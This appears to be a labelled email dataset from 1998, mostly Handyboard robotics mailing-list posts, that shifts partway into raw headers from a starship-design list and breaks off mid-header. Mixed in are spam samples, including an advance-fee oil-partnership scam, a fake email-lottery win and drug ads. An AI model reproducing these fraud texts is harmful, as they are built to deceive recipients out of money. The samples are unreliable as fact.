ADDRESS :338 YINGZE AVENUE, YINGZE,TAIYUAN, SHANXI, RUSSIA. Email:stevetheede2006@netscape.net OUR REF# : CET2334-U Products & Services:Yokos Oil Company, Crude Oil. Attn:Representative, BUSINESS PARTNERSHIP/REPRESENTATIVE NEEDED This mail is serving as an invitation to treat with the above named company.Our company was established in Feburary 1, 1993. Over the years we have accumulated invaluable experience in our business and we are proud to claim we are second to none. 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Thanks ",0,0 Yoder ,"handyboard@media.mit.edu, tommie@media.mit.edu, lorene@media.mit.edu, chris@media.mit.edu, henry@media.mit.edu","Thu, 10 Sep 1998 17:22:33 -0500",zip your energy,"be heinrich but whiff it religiosity try celebes not bestow ",1,0 infoclaim01 ,,"Fri, 11 Sep 1998 05:36:05 +0300",Loteria Espanol 2006,"Euromillion Loteria Español Paseo De La Castellana  15-89, 28008 Madrid.  Spain Branch. Website:www.loteria.com. Ref. Nº: ES/007/05/12/MAD.  Batch. Nº: GHT/2907/333/05.                               YOUR E-MAIL ADDRESS WON THE LOTTERY.      We wish to congratulate you over your email success in our computer balloting sweepstake held on 14th May, 2006. This is a millennium scientific computer game in which email addresses were used. It is a promotional program aimed at encouraging internet users; therefore you do not need to buy ticket to enter for it. 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The designer kit contains only one each of the above, plus an experimental demonstration board with a digital display and driver circuitry, which would be cool only if you didn't already have an HB, but is probably pretty useless for robotics applications. Specifically, the HB does all that the demo board does and a lot more, so don't bother to get the designer kit. Note that some outfits (like Wirz Electronics on the web) will sell you a single transducer and ranging board for about fifty bucks, while others (like the Mondotronics Robot Store) will try to gouge you for $150 for a pair, so watch out! I'd go with Wirz. Buy one at first, and then another only if you decide you like it. Good luck and have a blast. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Will Bain, Consistency is the last refuge Wendy Parson, of the unimaginative. & Tatoosh --Oscar Wilde ",0,0 Will ,Handyboard Mailing List ,"Fri, 11 Sep 1998 08:21:14 -0600",Re: Ramping up and down.,"Bill James wrote: > Does anyone have any code using the new smooth PWM motor routines to ramp up > and ramp down the speed. I have tried a few things with out much successs. Not quite, but I made good use of the PWM to provide automatic, feedback-adjusted motor control for straight-line tracking. It might give you some ideas. My 'bot uses differential steering (it looks like a small wheelchair) and used to cruise around the floor in large, sweeping arcs. I put odometers on each of the two drive wheels (using Hall-effect sensors and magnet-imbedded Lego pulley wheels) so that the robot can make automatic course corrections while under way. Bill, I'm sending you the code under separate cover. Anyone else who's interested should send me a personal e-mail message and I'll reply with the program. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Will Bain, Consistency is the last refuge Wendy Parson, of the unimaginative. & Tatoosh --Oscar Wilde ",0,0 Robert Pitts ,info@gso.bu.edu,"Fri, 11 Sep 1998 17:41:27 -0400","GSO - summary of Thu, Sep 10, 98 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next meeting will be on Thu, Sep 24 at 6pm. --Rob Summary ======= 1. Orientation Based on those at the meeting, students felt orientation went quite well. Nonetheless, we didn't end up needing as many volunteers (or restaurants) for dinner as we had originally planned. Some new students commented that they liked the idea of nametags, the packets of information sent from GRS, and going to restaurants. They weren't sure how useful the information fair was. Via e-mail, someone suggested having dept reps there (perhaps a goal for a future orientation when most depts have such a thing). We plan to provide a new grad student orientation each year. 2. Survey Gareth Roberts briefly presented some results from the Spring 1998 Survey of grad student interests and concerns (see our web page, http://gso.bu.edu, for a complete summary). Not present in the web page summary are the following comments: - Based on students answers, we learned something about how to improve the questions for a future survey. - Often, the reason that TA's work less than RA's is because they have both a TA and research workload, so hours spent at teaching does not reflect the total time they spend (i.e., on teaching AND their research). - Some would like us to (in the future) make a note of those that teach classes on their own and those that teach as ""assistants"" (e.g., for labs or discussions). It is not clear if we will do another survey this year, but most likely some time in the future. We'll probably not address the issue of a survey again until the Spring semester. 3. Issues/Projects Below are the projects we discussed at this meeting (whether we can take these on will depend on whether we have volunteers for each). The projects are in no particular order. Library Privileges We have pursued the issue of non-fellow students having worse library borrowing privileges than fellows. Apparently, the policy is going to be changed (so that all grads have the ""better"" privileges). We'll update you as we learn more about the policy change. Social Events - Pub Nights - Movie Night(s)?: 2 possibilities for this: we can pursue a movie night with free movie and food to be sponsored by Student Advantage and Cablevision (this was something we had discussed last semester) and/or we could have movie showings for grads in some campus location, organized by students. - Intramural Sports?: bowling, soccer, frisbee. - Talks: Chickering (BU Insurance), teaching issues?, unions?, race/gender?, international student issues (e.g., visas)?, other grad orgs. Grad Student Lounge We are currently in the process of obtaining a lounge for grad students. This will likely be where we hold future meetings and talks. Details about the location will be given when they are settled. We'd also like to set up a bulletin board in the lounge and a library of various documents that the GSO has acquired (relevant to grads). Formalizing Group We need to start thinking more about a constitution, officers/ dept reps, and what kind of relationship we want to have with the university. Student Funding We'd like to pursue the issue of the disparity in pay between the Humanities and Sciences. This may also include Humanities having less opportunities for summer funding. We'd also like to pursue: - Cost of Living increases. - The possibility of healthcare plans being part of funding packages. - Improving information about sources of funding (or other income opportunities). Teaching Issues - Lack of training in many depts. - Unregulated hours, workloads. - What's happening to tenure. Healthcare - Other healthcare options for grads. - Ways to improve our own plan (e.g., can we continue coverage after we graduate?) National Assoc. of Graduate - Professional Students (NAGPS) - Will we participate in their November National Conference (in Braintree)? - Will we become members of the NAGPS (giving benefits to our group and grads in GRS)? Labor Rights Will we continue to research the labor rights of students? Housing Improvements to housing information available to grad students. 4. Committees The committees that we will retain from last year are: Social Healthcare The new committees are: Liaison Steering Funding (since funding was ranked a #1 issue on the 1998 survey) A description of each of these committees will be sent in a separate e-mail.",0,1 Sam_Wurzel@loomis.org,handyboard@media.mit.edu,"Fri, 11 Sep 1998 18:14:40 -0400",analog problems,"I am building my handyboard and have been unable to succesfully execute testanalogs(). testmotors(); and testdigitals(); work but when i testanalogs(); either the board displays the current position of the knob (1-256) and freezes, displays the heart in the corner and freezes or displays nothing and freezes. when i say freeze i mean no logner respond to the computer or the start/stop buttons. I have replaced every chip on the board (except the main proccesor, the memory chip and the chip soldered under the memory chip).This fixed the problems i was having with the testmotors(). The knob I have is different from the pictures, it came soldered when I bought it from the Robotstore in Hong Kong. Any assistance would be appreciated. Sam ",0,0 """Patrick P.K. Hui"" ",Sam Wurzel ,"Sat, 12 Sep 1998 08:03:59 +0800",Re: analog problems,"Dear Sam, It is so strange as you already replace all the chips. The ""testanalogs()"" is used to test A/D feature and analog port of MC68HC11. It will prompt you ""Press START to test knob..."" You then press START button and the reading of A/D port will come out to LCD screen. This voltage is divided from knob as you've turning the knob. In all cases (even the knob doesn't work), you should get a reading between 0-255. Please ship the board back to us and we will be able to figure it out and repair for you. Our shipping address: Hui, Pak Ki Robot Store(HK) Flat-E 13/F Yik Hon Bldg., 72-78 Java Road, North Point, HONG KONG Sorry for any inconvenience cause. Thanks and Best Regards, Patrick --00-------------------------------------------------------- Low cost MIT Handyboard supplier and Official Distributor of Interactive-C 3.x ** An intelligent C programmable controller board to build your own Mobile Robot WWW: http://home.hkstar.com/~huip for more info E-mail: huip@hkstar.com -----Original Message----- From: Sam Wurzel To: handyboard@media.mit.edu Date: Saturday, September 12, 1998 7:02 AM Subject: analog problems >I am building my handyboard and have been unable to succesfully execute >testanalogs(). testmotors(); and testdigitals(); work but when i >testanalogs(); either the board displays the current position of the knob >(1-256) and freezes, displays the heart in the corner and freezes or >displays nothing and freezes. when i say freeze i mean no logner respond >to the computer or the start/stop buttons. I have replaced every chip on >the board (except the main proccesor, the memory chip and the chip >soldered under the memory chip).This fixed the problems i was having with >the testmotors(). The knob I have is different from the pictures, it came >soldered when I bought it from the Robotstore in Hong Kong. >Any assistance would be appreciated. >Sam >",0,1 Albert Langley ,handyboard@media.mit.edu,"Sat, 12 Sep 1998 00:01:24 +0100",The first time,"-Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! 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Is it correct if :- 1)I directly connect 16 output pins to both the existing hc374 pins driving the motor chips I would have 16 digital outputs. 2)And if I constructed another board with hc374 and connected it the same fashion with the board's existing hc374, I would get 8 more digital outputs(just asking, not greedy, curious). And if it is correct, how then could I control the digital outputs with the Interactive C++ program. Thank You... ",0,0 Ruben Silberman ,handyboard@media.mit.edu,"Fri, 11 Sep 1998 22:16:24 -0700",Re: kedoc news,"D l ear Home O h wne b r , Your c a redi g t doesn't matter to us ! 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Now look very closely at the outer edge of this trace. It should be completely green (covered with solder mask). I discovered that on my board there is a small portion of this trace exposed on the outer edge all the way around. If yours is like this, I recommend that you paint it all around with enamal paint. This edge is most likely to find something grounded. I was doing an experiment with my board which involved monitoring the NiCd battery voltage while cycling a motor. I had the volt meter alligator clipped to the stub of wire extending from the battery compartment. While I was removing the + lead, it brushed for a second onto this exposed +5 trace. The very bright LED was my first clue of the problem. The blank LCD was the second clue. the Pcode loader still says the board is working, and the LEDs cycle properly, but the LCD appears to be gone. I'm still checking for other problems. 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Thanks in advance Kind Regards Sincerely, Javaid Iqbal ",0,0 krasing@iastate.edu,p2219212@student.mech.unsw.edu.au,"Sun, 13 Sep 1998 21:24:43 -0500",Re: ,"> Hi,all > I am trying to write neural-fuzzy code for avioding of obstacle. I am > using handy board. I never wrote a code for fuzzy logic. can anybody > suggest me any good site on web for fuzzy logic or any book or any code > which he has written. > > Thanks in advance > > > Kind Regards > > Sincerely, > Javaid Iqbal > There's many ways you can approach obstacle avoiding. There are neural nets, evolutionary code (incl. genetic programming and genetic algorithms), finite state machines, and there's hard-coding it into the program (which, of course is no fun at all but such a headache saver!). I have some code available, somewhere, that I can dig up - I have a hard-code version in IC, an evolving FSM code in C++, and a half-finished evolving parse tree in IC (note: use a more recent edition that has multi-dimensional arrays. so much easier). I don't know about the neural nets - I tend not to use them unless it's absolutely necessary (like in my new 3d tartaurus project). Though, one of the people I had a class with last spring has code for that using evolving neural nets, I believe. -kate --- Kate krasing@iastate.edu ",0,0 Adam Oliver ,'Handyboard Mailing List' ,"Mon, 14 Sep 1998 11:54:22 +0800",Handyboard on 9V battery?,"Can it be done? I'm using the Handyboard to control my hexapod robot and weight is a problem. At the moment I have 8 AA batteries connected which are not particularly weight light. I'm not using any of the motor driving functions of the board, just the IR receiver and portAbit7 for serial output. I could even live without the LCD screen if I have to. Anyone had any experience with this as far as how long it would run? thanks Adam ",0,0 krasing@iastate.edu,handyboard@media.mit.edu,"Mon, 14 Sep 1998 12:52:13 -0500",Re: Re: ,"I don't really know how to explain finite state machines (FSMs) or parse trees...(I'm not in computer science...) but my artificial life class's homepage is still up and the text is available through it in post-script format (http://www.math.iastate.edu/danwell/math378.html). To everyone that wants my ""hard code"" - I need to know what kind of sensors you're using and whether or not your environment is a set one. Also, my evolving code is much better at obstacle avoidance than the hard code. (It's not as hard as it may sound!) -Kate --- Kate krasing@iastate.edu > >There's many ways you can approach obstacle avoiding. > > >There are neural nets, evolutionary code (incl. genetic programming and > >genetic algorithms), finite state machines, and there's hard-coding it into > >the program (which, of course is no fun at all but such a headache saver!). > > >I have some code available, somewhere, that I can dig up - I have a > >hard-code version in IC, an evolving FSM code in C++, and a half-finished > >evolving parse tree in IC (note: use a more recent edition that has > >multi-dimensional arrays. so much easier). > > Hi, do you mind sending your hard-code version to me? I would like to have > a look. I'm currently writing the program for my obstacle avoidance robot > running on 2 steppers and a HB. > > Btw, what is finite state machines and parse tree? ",0,1 Jeroen van der Vegt ,HandyBoard mailing list ,"Mon, 14 Sep 1998 19:25:20 +0200",Re: WARNING: +5 supply exposed,"I got my PCB from Miranda Robotics (mail to colin@prospero.u-net.com for more information) in England, and the trace is fully covered. Apperently, not al HandyBoard PCB's ar exactly the same. Thanks for the tip anyway. Jeroen van der Vegt. > Take a moment to look at your Handy Board. There is a thick trace along >the top, right and bottom edge. This is your regulated +5 line. Now look >very closely at the outer edge of this trace. It should be completely green >(covered with solder mask). I discovered that on my board there is a small >portion of this trace exposed on the outer edge all the way around. If yours >is like this, I recommend that you paint it all around with enamal paint. >This edge is most likely to find something grounded. > I was doing an experiment with my board which involved monitoring the >NiCd battery voltage while cycling a motor. I had the volt meter alligator >clipped to the stub of wire extending from the battery compartment. While I >was removing the + lead, it brushed for a second onto this exposed +5 trace. >The very bright LED was my first clue of the problem. The blank LCD was the >second clue. the Pcode loader still says the board is working, and the LEDs >cycle properly, but the LCD appears to be gone. I'm still checking for other >problems. > >Hope this can save some boards, >Pherd ",0,0 krasing@iastate.edu,p2219212@student.mech.unsw.edu.au,"Mon, 14 Sep 1998 21:49:00 -0500",Re: ,"Ok. If you used 2 motors in m1(right) & m3(left) , and your sensor was at the front (and only one), and in port 15, a short program for running it could be: /*Start of avoid.c */ void main(){ while(1){ /*Puts program in an infinite loop*/ fd(1); fd(3); /* Drives the robot forward */ while(analog(15<100){ /*Approaching an obstacle */ off(1); bk(1); /* Turns robot right */ } } } /*End of avoid.c */ Of course, if there's more than one sensor or whatever, you'd make the appropriate changes. And 100 might not be the number you want to use, too. -Kate > Dearest kate > I am using infra red sensor which return value from 255 to 0. 255 when > it does not sense any thing and valve reduces when there is any thing in > front. lowest valve is 0. > > > > > Kind Regards > > Sincerely, > Javaid Iqbal > > On Mon, 14 Sep 1998 krasing@iastate.edu wrote: > > > I don't really know how to explain finite state machines (FSMs) or parse > > trees...(I'm not in computer science...) but my artificial life class's > > homepage is still up and the text is available through it in post-script > > format (http://www.math.iastate.edu/danwell/math378.html). > > > > To everyone that wants my ""hard code"" - I need to know what kind of > > sensors you're using and whether or not your environment is a set one. > > Also, my evolving code is much better at obstacle avoidance than the hard > > code. (It's not as hard as it may sound!) > > > > -Kate > > --- > > Kate > > krasing@iastate.edu > > > > > >There's many ways you can approach obstacle avoiding. > > > > > > >There are neural nets, evolutionary code (incl. genetic programming and > > > >genetic algorithms), finite state machines, and there's hard-coding it into > > > >the program (which, of course is no fun at all but such a headache saver!). > > > > > > >I have some code available, somewhere, that I can dig up - I have a > > > >hard-code version in IC, an evolving FSM code in C++, and a half-finished > > > >evolving parse tree in IC (note: use a more recent edition that has > > > >multi-dimensional arrays. so much easier). > > > > > > Hi, do you mind sending your hard-code version to me? I would like to have > > > a look. I'm currently writing the program for my obstacle avoidance robot > > > running on 2 steppers and a HB. > > > > > > Btw, what is finite state machines and parse tree? > > > > > > > > >",0,1 The Plumber ,handyboard@media.mit.edu,"Tue, 15 Sep 1998 10:00:02 -0600",Card readers,"Is there anyone familliar with magnetic card readers, I would like to know where I could get some information on them (communications, etc...) Thanks, Joe Hoffmann E-Mail jhoffman@it.sait.ab.ca ",0,0 Ben Serebrin ,"""Joseph R. Cavallaro"" ","Wed, 16 Sep 1998 00:12:32 -0500",Magic and XWin32,"Hi. I just wanted to pass this along to you for people's information. I was having segmentation faults when magic was trying to allocate 7 planes of colormap. My computer is running XWin32 and is in 16-bit color mode. I enabled the selection ""PseudoColor support in TrueColor Mode"" in the Colors menu of X-Win32 Utility and it seems to be happy. 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The pinouts are as follows pin symbol function 1 Vss 0v 2 Vdd 5v 3 Vo contrast adjustment 4 RS register select 5 R/W read/write 6 E enable signal 7 DB0 databit 0 8 DB1 databit 1 9 DB2 databit 2 10 DB3 databit 3 11 DB4 databit 4 12 DB5 databit 5 13 DB6 databit 6 14 DB7 databit 7 Is this usable? Are the pins in the correct order? thanks in advance steve treagust adelaide australia ",0,0 """Fred G. Martin"" ",stevet ,"Fri, 18 Sep 1998 08:39:53 -0400",Re: lcd screen pinouts ,"the LCD should work fine. On the HB, pin 1 is on the top left, and pin 14 is on the top right. Just hook them up in order and you're all set. Fred In your message you said: > Hi > I have purchased an lcd screen for the handyboard, however it's not the > ridji-dij lcd. The pinouts are as follows > pin symbol function > 1 Vss 0v > 2 Vdd 5v > 3 Vo contrast adjustment > 4 RS register select > 5 R/W read/write > 6 E enable signal > 7 DB0 databit 0 > 8 DB1 databit 1 > 9 DB2 databit 2 > 10 DB3 databit 3 > 11 DB4 databit 4 > 12 DB5 databit 5 > 13 DB6 databit 6 > 14 DB7 databit 7 > > Is this usable? Are the pins in the correct order? > thanks in advance > steve treagust > adelaide > australia > > ",0,0 Deidre Westgate ,handyboard@media.mit.edu,"Fri, 18 Sep 1998 02:26:44 -0700",Re: zubuc news,"De i ar Home O h wne n r , Your cr v ed b it doesn't matter to us ! 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Already I am having problems. I am trying to go into the bootstrap download mode as described in the manual, but it doesnt work. I turn off the handy board, hold down the STOP button, turn on the board, lights go on, lights stay on. It is my understanding they should go off. It never worked, so I know I didnt screw it up, how can I test or fix this? I would appreciate any help. (I am not a technical whiz, so please take it easy on me.) Thank you. ",0,0 phillip chia ,handybd ,"Sun, 20 Sep 1998 23:06:45 +0800",stepper motor speed ," Hi, Recently, I have connected the wires out from the 4 motors ports on the HB and then directly connected to the driver L298.Next, the o/p of L298 is connected to the stepper motor which drawn 3A. I supply 4A parallel to the 2 motors. Hence, each motor will draw 2A only. The robot run smoothly. However, The speed of theshaft rotation on the motor is quite slow. It took 4 sec per rev. How should I increase the speed using programing ? The attached is the program I use to control the sequence and speed . rgds, phillip ",0,0 Choo Wei Keong ,handyboard@media.mit.edu,"Mon, 21 Sep 1998 23:19:44 +0800",help!,"Dear hb-fans, I'm currently trying to use the handy board to run a 12-legged robot. I've tried to power the motors directly from the hb motor output but apparently the current supplied is too low. Is there any simple method of powering my motor and at the same time allows me to control the power level via the handy board? regards, keong ;-) ",0,0 The Plumber ,handyboard@media.mit.edu,"Mon, 21 Sep 1998 15:24:30 -0600",Serial input,"I am working on a project that requires serial output devices, I would like to connect these to the digital inputs. Is there anyone that has some routines (preferably ic funtions) that I could have that do this. Is there a way to use the SPI port to do this easily. Take it easy I'm a beginner. Thanks in advance, Joe Hoffmann E-Mail jhoffman@it.sait.ab.ca ",0,0 Mark Limb ,handyboard@media.mit.edu,"Tue, 22 Sep 1998 16:41:13 +1000",Digital Output,"Hi, I am working on a totally autonomous sumo wrestling robot, using the HB as its brain. I have interfaced sensors to it, and even designed a high current motor driver circuit to directly interface to the existing L293D inputs (Info available on request). My main problem is, I have designed an Infra Red proximity sensor based on a sharp TV IR demodulator. This reciever recieves 600 microsecond pulses modulated using a 38KHz carrier. I have generated the 38kHz carrier using a 555 timer chip, and I am using the HB to pulse this wave at 600 microsecond intervals. To do this I need a digital output port, as 9 of the HC11 digital ports are assigned to inputs, I was wondering what the easiest way to access two digital outputs, (SPI an option?), Thanks for your help Joshua Wherrett ",0,0 """Fred G. Martin"" ",The Plumber ,"Tue, 22 Sep 1998 08:33:36 -0400",Re: Serial input ,"the only easy way to get a serial input is to take over the console port used by IC. this isn't hard to do, but you lose the ability to interact with the board via IC while your board is running your code which is tlaking to the alternate serial device. see the FAQ re: serial for more. fred In your message you said: > I am working on a project that requires serial output devices, I would > like to connect these to the digital inputs. Is there anyone that has > some routines (preferably ic funtions) that I could have that do this. > > Is there a way to use the SPI port to do this easily. > Take it easy I'm a beginner. > > Thanks in advance, > Joe Hoffmann > E-Mail jhoffman@it.sait.ab.ca > > ",0,0 Sullivan Fazio ,handyboard@media.mit.edu,"Tue, 22 Sep 1998 02:19:03 -0700",Re: your VALqtUM,"Hi C V P A L X V I A r m e a I A L o b v n A L I z i i a G I U a e t x R S M c n ra A http://www.temaferte.com and quiet. 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Martin wrote: > the only easy way to get a serial input is to take over the console > port used by IC. this isn't hard to do, but you lose the ability to > interact with the board via IC while your board is running your code > which is tlaking to the alternate serial device. > > see the FAQ re: serial for more. > > fred > > In your message you said: > > I am working on a project that requires serial output devices, I would > > like to connect these to the digital inputs. Is there anyone that has > > some routines (preferably ic funtions) that I could have that do this. > > > > Is there a way to use the SPI port to do this easily. > > Take it easy I'm a beginner. > > > > Thanks in advance, > > Joe Hoffmann > > E-Mail jhoffman@it.sait.ab.ca > > > > > ",0,0 The Plumber ,Mark Limb ,"Tue, 22 Sep 1998 09:09:35 -0600",Re: Digital Output,"Check out: http://el.www.media.mit.edu/groups/el/projects/handy-board/faq/index.html#digout Thanks, Joe Hoffmann E-Mail jhoffman@it.sait.ab.ca On Tue, 22 Sep 1998, Mark Limb wrote: > Hi, > I am working on a totally autonomous sumo wrestling robot, using the HB > as its brain. I have interfaced sensors to it, and even designed a high > current motor driver circuit to directly interface to the existing L293D > inputs (Info available on request). My main problem is, I have designed > an Infra Red proximity sensor based on a sharp TV IR demodulator. This > reciever recieves 600 microsecond pulses modulated using a 38KHz > carrier. I have generated the 38kHz carrier using a 555 timer chip, and > I am using the HB to pulse this wave at 600 microsecond intervals. To > do this I need a digital output port, as 9 of the HC11 digital ports are > assigned to inputs, I was wondering what the easiest way to access two > digital outputs, (SPI an option?), > > Thanks for your help > Joshua Wherrett > > ",0,1 mchang@nbase.com,handyboard@media.mit.edu,"Tue, 22 Sep 1998 08:06:32 -0700",,"Synchronizing with board Pcode version 3.10 present on board Loading C:\\IC 3.2\\libs\\lib_hb.lis. Loading C:\\IC 3.2\\libs\\lib_hb.c. Initializing interrupts Downloading 1175 bytes (addresses 8000-8496): 1175 loaded Downloading 70 bytes (addresses 8497-84DC): 70 loaded Downloading 16 bytes (addresses 84DD-84EC): 16 loaded Hi All, I have been fighting a problem off and on for about a month now. In IC 3.2 I can get pcode to load via the Settings menu item. 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However, even to go from planet to planet within ""a decade or so"" per hop - whilst far quicker than anything we could acheive today - would make for slow exploration of our surroundings. Hence my belief that FTL travel is necessary for serious and long-distance space exploration. Does anyone know what is (theoretically) meant to happen re. time dilation when you travel FTL? (eg. travelling back in time?) Chris Walker ",0,0 Timothy van der Linden ,starship-design@lists.uoregon.edu,"Wed, 23 Sep 1998 16:31:01 +0100",starship-design: Bussard drive,"Hi Kyle, You quoted: >The speed of the Bussard jet soon reaches an upper >limit--about 10 percent of light speed--where thrust is equal to wind >resistance and the ship can accelerate no further."" This thus means that the exhaust velocity of a Bussard drive is also about 0.1c (assuming minimal energy losses). If somehow the exhaust velocity could be increased, then so would the maximum velocity. Kyle, does the text from which you quoted also say something about maximum exhaust velocity? Ie. Why can't the Bussard design be upgraded to say exhaust velocities of 0.5c? Timothy >From VM Wed Sep 23 10:57:39 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1892"" ""Wed"" ""23"" ""September"" ""1998"" ""12:48:01"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""34"" ""RE: starship-design: Bussard drive"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1892 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id KAA13891 for starship-design-outgoing; Wed, 23 Sep 1998 10:49:40 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id KAA13878 for ; Wed, 23 Sep 1998 10:49:37 -0700 (PDT) Received: from lparker (p263.gnt.com [204.49.91.23]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id MAA14262; Wed, 23 Sep 1998 12:49:31 -0500 Message-ID: <001501bde71a$4f7251e0$e15931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 In-Reply-To: <3.0.1.32.19980923163101.006c2ce4@pop.xs4all.nl> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Timothy van der Linden"" Cc: ""Starship Design"" Subject: RE: starship-design: Bussard drive Date: Wed, 23 Sep 1998 12:48:01 -0500 Timothy et. al., There seems to be two separate issues here, one of which may be valid and one is not. First, Kyle is correct that when drag equals thrust, acceleration will stop. Note that I said acceleration, you will still have to maintain thrust in order to maintain velocity or drag will slow you down. Of, course this actually applies to the scoop area and assumes that scoop area is a constant, so I suppose you could ""fold"" the scoop and reduce drag. For that matter, you could reduce the scoop area constantly to maintain a constant acceleration irregardless of drag...remember, drag is a function of area and so is scoop efficiency. If the scoop area decreases for a given amount of power, then its efficiency will increase as a function of field density while drag is decreasing at a proportional rate. The trick is to balance scoop area against the interstellar hydrogen density to maintain a more or less constant thrust. If engine ISP is also increased then the area of the scoop can be increased accordingly. There will always be some ""magic point"" where scoop area, hydrogen density, and engine ISP will maximize thrust WITHOUT an upper limit on velocity. Second, the upper limit on velocity IS NOT the exhaust velocity of the engine, go back to your freshman physics book if you don't believe me, and I don't care who you've been reading. With enough reaction mass, you can get to light speed by THROWING tennis balls off the back of the Santa Maria! The only real problems (if one forgets the low local density) here are scoop design and efficiency, engine efficiency (ISP) and design lifetime. An antimatter drive fed by onboard hydrogen initially and later by interstellar hydrogen could approach ANY fraction of the speed of light and do it fairly quickly. By sacrificing a bit of thrust, it can even replenish its onboard fuel enroute for the deceleration run. Lee >From VM Wed Sep 23 11:01:53 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""3029"" ""Wed"" ""23"" ""September"" ""1998"" ""10:55:21"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""62"" ""Re: FW: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 3029 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id KAA15955 for starship-design-outgoing; Wed, 23 Sep 1998 10:55:12 -0700 (PDT) Received: from wakko.efn.org (root@wakko.efn.org [198.68.17.6]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id KAA15927 for ; Wed, 23 Sep 1998 10:55:04 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [204.214.99.68]) by wakko.efn.org (8.8.8/8.8.8) with ESMTP id KAA00940 for ; Wed, 23 Sep 1998 10:55:01 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.9.1/8.9.1) id KAA10116; Wed, 23 Sep 1998 10:55:23 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13833.13833.659285.656803@tzadkiel.efn.org> In-Reply-To: <3608E0E2.AA14C3C3@ozemail.com.au> References: <199809230926.KAA06837@ns0.sky.co.uk> <3608E0E2.AA14C3C3@ozemail.com.au> X-Mailer: VM 6.62 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: FW: starship-design: Interstellar travel-using vacuum..ur point? Date: Wed, 23 Sep 1998 10:55:21 -0700 (PDT) Since we have several new subscribers, and many new subscribers immediately start wondering why our design project excludes FTL, let me just make a few introductory remarks: We exclude FTL drives from consideration (for now) for the same reason we exclude a lot of other things like ""vacuum energy"" -- they're simply too speculative. The main point of this list is to consider interstellar travel as an engineering problem, and to think about sound engineering designs. That means that we limit ourselves to things that are less speculative and known to be physically possible. Relativity, hydrogen fusion and antimatter, as examples, are observable and experimentally verifiable. Until someone demonstrates FTL travel _of a massive particle_ or successfully extracts ""vacuum energy"" in experimentally verifiable ways, these things won't be considered because it's impossible to make an engineering design without a real understanding of such effects. AJ Crowl writes: > Seems FTL is more likely than inertialess drives. At least we > know of physical processes that have involved FTL in the past > [cosmic expansion], whereas there's nothing known that can > alter inertia. Haisch and Puthoff's electromagnetic theory of > inertia is a start, but there's no guarantee that inertia can > be changed. In general relativistic terms, superluminal expansion of spacetime isn't at all the same as FTL travel of mass. Even during that inflationary phase there was no mass traveling faster than light through spacetime. And just what other FTL processes do you think exist? Theorists have yet to come up with anything tenable for allowing mass to travel FTL. Things like quantum connectedness don't allow transfer of mass or even information. Attempts to theoretically describe FTL effects using general relativity have so far always run into physical impossibilities like negative energy densities. > > Hence my belief that FTL travel is > > necessary for serious and long-distance space exploration. > > > > Does anyone know what is (theoretically) meant to happen re. time dilation > > when you travel FTL? (eg. travelling back in time?) > > Time reversal is supposed to occur, though I could never work > out why. ""Events preceding their effects"" - one result of > space-like motion [FTL], though I still don't see how. A > distant observer might see the events as occuring out of > order, but how does that then violate causality? Locally > nothing odd has occurred. No one has ever gone FTL so who can > say? Actually, it's not a problem with distant observers; if you can go FTL you can trivially travel into your own past. Just do an FTL jump, accelerate sufficiently, and then do another FTL jump back to the location you started from. The amount of acceleration needed to do this depends on how much faster than light you went, how far your jump was, and how far back you want to travel into your own past. Unfortunately it's difficult to include a spacetime diagram of this effect here. >From VM Wed Sep 23 11:41:52 1998 X-VM-v5-Data: ([nil nil nil nil t nil nil nil nil] [""307"" ""Wed"" ""23"" ""September"" ""1998"" ""13:33:11"" ""-0700"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" ""<36095B07.1EFF@sunherald.infi.net>"" ""8"" ""Re: FW: starship-design: Interstellar travel-using vacuum..ur poi nt?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 307 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id LAA08051 for starship-design-outgoing; Wed, 23 Sep 1998 11:36:12 -0700 (PDT) Received: from fh101.infi.net (fh101.infi.net [208.131.160.100]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id LAA08033 for ; Wed, 23 